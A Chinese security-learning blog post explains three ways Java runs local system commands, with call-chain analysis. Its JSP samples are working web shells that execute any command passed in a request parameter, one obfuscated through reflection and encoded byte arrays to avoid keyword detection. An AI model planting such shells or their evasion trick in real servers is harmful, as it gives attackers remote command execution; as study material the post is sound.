文章归档

置顶文章

Web安全

Web安全基础

PHP相关

Writeups

靶机系列

HackTheBox-Retired

HackTheBox-Active

VulnHub

代码审计

PHP代码审计

大数据安全

机器学习

基础学习

Python

Python基础

Python安全

Java

Java基础

Java安全

算法

Leetcode

随笔

经验

技术

 2021-03-09   1.4k

Java基础学习之本地命令执行

首先总的的来说,java命令执行可以分为4种方法,分别是 java.lang.Runtime#exec()、java.lang.ProcessBuilder#start()、java.lang.ProcessImpl#start()以及通过JNI的方式调用动态链接库,最后一种方式这篇文章暂不做分析,先看下前面比较常用的三种方法。

0x01 Runtime命令执行

在Java中最常见的就是使用java.lang.Runtime类的exec方法来执行本地系统命令。

runtime-exec.jsp执行cmd命令示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<%--
Created by IntelliJ IDEA.
User: ca01h
Date: 2021/3/7
Time: 22:53
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.InputStream" %>
<%
InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();

ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = 1;

while ((a = in.read(b)) != -1) {
baos.write(b, 0, a);
}

out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>

如果我们不希望在代码中出现和Runtime相关的关键字,我们可以全部用反射代替。

reflection-cmd.jsp示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<%--
Created by IntelliJ IDEA.
User: ca01h
Date: 2021/3/8
Time: 18:19
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Scanner" %>

<%
String str = request.getParameter("str");
// 定义"java.lang.Runtime"字符串变量
String rt = new String(new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101});
// 反射java.lang.Runtime类获取Class对象
Class<?> c = Class.forName(rt);
// 反射获取Runtime类的getRuntime方法
Method m1 = c.getMethod(new String(new byte[]{103, 101, 116, 82, 117, 110, 116, 105, 109, 101}));
// 反射获取Runtime类的exec方法
Method m2 = c.getMethod(new String(new byte[]{101, 120, 101, 99}), String.class);
// 反射调用Runtime.getRuntime().exec(xxx)方法
Object obj1 = m2.invoke(m1.invoke(null, new Object[]{}), new Object[]{str});
// 反射获取Process类的getInputStream方法
Method m = obj1.getClass().getMethod(new String(new byte[]{103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109}));
m.setAccessible(true);
// 获取命令执行结果的输入流对象:p.getInputStream()并使用Scanner按行切割成字符串
Scanner s = new Scanner((InputStream) m.invoke(obj1, new Object[]{})).useDelimiter("\\A");
String result = s.hasNext() ? s.next() : "";
// 输出命令执行结果
out.println(result);
%>

Runtime命令执行调用链

Runtime.exec(xxx)调用链如下:

1
2
3
4
5
6
7
copyjava.lang.UNIXProcess.<init>(UNIXProcess.java:247)
java.lang.ProcessImpl.start(ProcessImpl.java:134)
java.lang.ProcessBuilder.start(ProcessBuilder.java:1029)
java.lang.Runtime.exec(Runtime.java:620)
java.lang.Runtime.exec(Runtime.java:450)
java.lang.Runtime.exec(Runtime.java:347)
org.apache.jsp.runtime_002dexec2_jsp._jspService(runtime_002dexec2_jsp.java:118)

通过观察整个调用链我们可以清楚的看到exec方法并不是命令执行的最终点,执行逻辑大致是:

  1. Runtime.exec(xxx)
  2. java.lang.ProcessBuilder.start()
  3. new java.lang.UNIXProcess(xxx)
  4. UNIXProcess构造方法中调用了forkAndExec(xxx) native方法。
  5. forkAndExec调用操作系统级别fork->exec(*nix)/CreateProcess(Windows)执行命令并返回fork/CreateProcessPID

0x02 ProcessBuilder命令执行

process_builder.jsp命令执行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<%--
Created by IntelliJ IDEA.
User: ca01h
Date: 2021/3/8
Time: 18:38
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.ByteArrayOutputStream" %>

<%
InputStream in = new ProcessBuilder(request.getParameterValues("cmd")).start().getInputStream();
ByteArrayOutputStream baos = new ByteArrayOutputStream();
byte[] b = new byte[1024];
int a = -1;

while ((a = in.read(b)) != -1){
baos.write(b, 0, a);
}
out.write("<pre>" + new String(baos.toByteArray()) + "</pre>");
%>
  • start方法执行命令,启动一个进程,返回一个Process对象;
  • java.lang.Process.getInputStream() 方法获取子进程的输入流。

Runtime和ProcessBuilder的区别:

同个字符串参数对于ProcessBuilder类和Runtime类的命令执行结果来说是不同的,举个例子,比如同样是执行命令ping -c 1 www.baidu.com

传入Runtime类的exec方法后,之后会先把ping -c 1 www.baidu.com以空格隔开分为四部分,第一部分的ping会作为启动模块,其他部分作为第一部分的命令行参数,如下:

到了ProcessBuilder类这里,同样的命令传进来的话就抛出错误:

这是因为ProcessBuilder类把整个“ipconfig /all”都标记化了,在后面的调用中会把这整一串都当做启动模块的名字寻找。具体原因可以看下面两篇文章的调试过程:

https://www.anquanke.com/post/id/221159

Java下奇怪的命令执行

0x03 UNIXProcess/ProcessImpl反射执行命令

Runtime命令执行中的调用链提到过UNIXProcessUNIXProcessProcessImpl其实就是最终调用native执行系统命令的类,这个类提供了一个叫forkAndExec的native方法,如方法名所述主要是通过fork&exec来执行本地系统命令。

ProcessImpl类需要值得注意的就是它没有共有构造方法,只有一个private类型的方法,所以是不能直接实例化ProcessImpl类的,虽然我们不能直接new一个ProcessImpl,但是可以利用反射去调用非public类的方法,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package cmd_exec;

import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.util.Map;

public class processImplDemo {
public static void main(String[] args) throws Exception {
String[] cmds = {"ping", "-c", "1", "www.baidu.com"};
Class clazz = Class.forName("java.lang.ProcessImpl");
Method method = clazz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);
method.setAccessible(true);
InputStream ins = ((Process)method.invoke(null,cmds,null,".",null,true)).getInputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] bytes = new byte[1024];
int size;
while((size = ins.read(bytes)) > 0)
bos.write(bytes,0,size);
System.out.println(bos.toString());
}
}
Copyright © ca01h 2019-2021 | 本站总访问量